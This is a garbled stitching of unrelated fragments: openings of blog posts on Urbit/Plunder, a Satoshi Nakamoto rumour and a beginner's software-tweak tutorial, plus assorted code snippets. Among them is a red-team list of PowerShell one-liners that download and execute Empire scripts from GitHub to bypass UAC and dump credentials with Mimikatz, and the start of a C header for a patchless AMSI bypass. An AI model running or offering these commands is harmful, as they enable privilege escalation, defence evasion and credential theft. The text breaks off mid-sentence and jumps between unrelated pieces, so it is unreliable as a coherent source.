Lem E. Tweakit superswan

The target audience is people who are familiar with Urbit's architecture, though not necessarily much of its code.

Plunder and Urbit

As some of you already know, i recently left my job as a core dev for the Urbit Foundation to work on a similar system called Plunder. Plunder was created in 2020 by two former Tlon employees, after their proposal for a new version of Nock was rejected. They have since reworked that significantly and built a reference implementation of their own system. You can follow its continued development on its mailing list.

I've known about Plunder for quite some time now, but their recently released demo -- in which the system is used to serve a 70 GB dataset, complete with metadata and searchable -- made me feel the need to explore it again and in greater detail. Doing this with my personal server doesn't feel like a big ask, but there is currentl

New `sign`s of Satoshi?

A few days ago, another sensationalist news story emerged, promising new clues regarding the true identity of Satoshi Nakamoto: Allegedly, an old message signed by Hal Finney had surfaced (published by Martin Shkreli in this blog post), suggesting that Paul Le Roux was the person behind the synonym of Satoshi Nakamoto.

I briefly highlight the facts surrounding this story:

The signed message:

Right away, yes indeed, a valid signed message has surfaced:

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How to make a small tweak to free software

The target audience for this is people who are beginners at software engineering and using linux. A lot of the information here may be obvious or already known to you. The language involved is C but you do not need to know any C to read this tutorial. I used mg to write this blog post. I used vs code to edit the source code.

This post is also available on gopher://tilde.team:70/0/~river/tweak-free-software

If you use a piece of free software and it's 99% perfect but there's just this one thing it does that annoys the hell out of you.. you can in theory just fix it! Here's a look at what doing that is like. Hopefully it inspires you, or you pick up a could tricks on the way!

Step 0: Have a problem

How to use:

./wordle.sh

Or try the unlimit mode:

	[+] Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

	#Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"

	#Invoke-Mimikatz: Dump credentials from memory
	powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

	#Import Mimikatz Module to run further commands
	powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')"

	// I'm tired of extensions that automatically:
	// - show welcome pages / walkthroughs
	// - show release notes
	// - send telemetry
	// - recommend things
	//
	// This disables all of that stuff.
	// If you have more config, leave a comment so I can add it!!

	{

	#ifndef PATCHLESS_AMSI_H
	#define PATCHLESS_AMSI_H

	#include <windows.h>

	static const int AMSI_RESULT_CLEAN = 0;

	PVOID g_amsiScanBufferPtr = nullptr;

	unsigned long long setBits(unsigned long long dw, int lowBit, int bits, unsigned long long newValue) {

	// Rewrote "create_tweet.js" using axios, instead of got.
	// https://github.com/twitterdev/Twitter-API-v2-sample-code/blob/main/Manage-Tweets/create_tweet.js
	// License: Apache 2.0
	// Worked under the below environment
	// node v16.4.0
	// "axios": "^0.26.0",
	// "crypto": "^1.0.1",
	// "oauth-1.0a": "^2.2.6",
	// "querystring": "^0.2.1",
	// "readline": "^1.3.0"

	class Software {
	[string]$Name
	[string]$Id
	[string]$Version
	[string]$AvailableVersion
	}

	$upgradeResult = winget upgrade \| Out-String

	$lines = $upgradeResult.Split([Environment]::NewLine)